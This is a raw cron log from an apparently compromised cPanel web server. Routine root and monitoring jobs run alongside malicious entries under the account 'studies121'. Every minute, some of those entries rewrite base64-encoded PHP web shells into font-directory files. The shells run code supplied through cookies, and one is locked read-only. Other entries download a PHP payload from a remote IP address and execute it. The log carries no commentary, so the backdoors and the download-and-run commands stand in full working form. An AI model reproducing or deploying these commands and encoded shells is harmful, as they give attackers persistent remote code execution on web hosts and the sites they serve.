Sep  6 13:40:02 ip-184-168-122-23 CROND[29013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:40:02 ip-184-168-122-23 CROND[29009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:40:02 ip-184-168-122-23 CROND[29015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:41:01 ip-184-168-122-23 CROND[29237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:41:01 ip-184-168-122-23 CROND[29239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:41:01 ip-184-168-122-23 CROND[29240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:41:01 ip-184-168-122-23 CROND[29241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:42:01 ip-184-168-122-23 CROND[29463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:42:01 ip-184-168-122-23 CROND[29467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:42:01 ip-184-168-122-23 CROND[29465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:42:01 ip-184-168-122-23 CROND[29466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:42:01 ip-184-168-122-23 CROND[29468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:43:01 ip-184-168-122-23 CROND[29731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:43:01 ip-184-168-122-23 CROND[29733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:43:01 ip-184-168-122-23 CROND[29732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:43:01 ip-184-168-122-23 CROND[29737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:44:01 ip-184-168-122-23 CROND[30025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:44:01 ip-184-168-122-23 CROND[30023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:44:01 ip-184-168-122-23 CROND[30022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:44:01 ip-184-168-122-23 CROND[30024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:44:01 ip-184-168-122-23 CROND[30026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:45:01 ip-184-168-122-23 CROND[30243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:45:01 ip-184-168-122-23 CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:45:01 ip-184-168-122-23 CROND[30248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:45:01 ip-184-168-122-23 CROND[30245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:45:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:45:01 ip-184-168-122-23 CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:46:01 ip-184-168-122-23 CROND[30501]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:46:01 ip-184-168-122-23 CROND[30503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:47:01 ip-184-168-122-23 CROND[30804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:47:01 ip-184-168-122-23 CROND[30805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:47:01 ip-184-168-122-23 CROND[30807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:47:01 ip-184-168-122-23 CROND[30806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:48:01 ip-184-168-122-23 CROND[31085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:48:01 ip-184-168-122-23 CROND[31087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:48:01 ip-184-168-122-23 CROND[31088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:48:01 ip-184-168-122-23 CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:48:01 ip-184-168-122-23 CROND[31089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:49:01 ip-184-168-122-23 CROND[31326]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 13:49:01 ip-184-168-122-23 CROND[31328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:49:01 ip-184-168-122-23 CROND[31327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:49:01 ip-184-168-122-23 CROND[31329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:49:01 ip-184-168-122-23 CROND[31330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:50:01 ip-184-168-122-23 CROND[31633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:50:01 ip-184-168-122-23 CROND[31645]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:50:01 ip-184-168-122-23 CROND[31646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:51:01 ip-184-168-122-23 CROND[31869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:51:01 ip-184-168-122-23 CROND[31873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:51:01 ip-184-168-122-23 CROND[31871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:51:01 ip-184-168-122-23 CROND[31872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:52:01 ip-184-168-122-23 CROND[32138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:52:01 ip-184-168-122-23 CROND[32142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:52:01 ip-184-168-122-23 CROND[32141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:52:01 ip-184-168-122-23 CROND[32140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
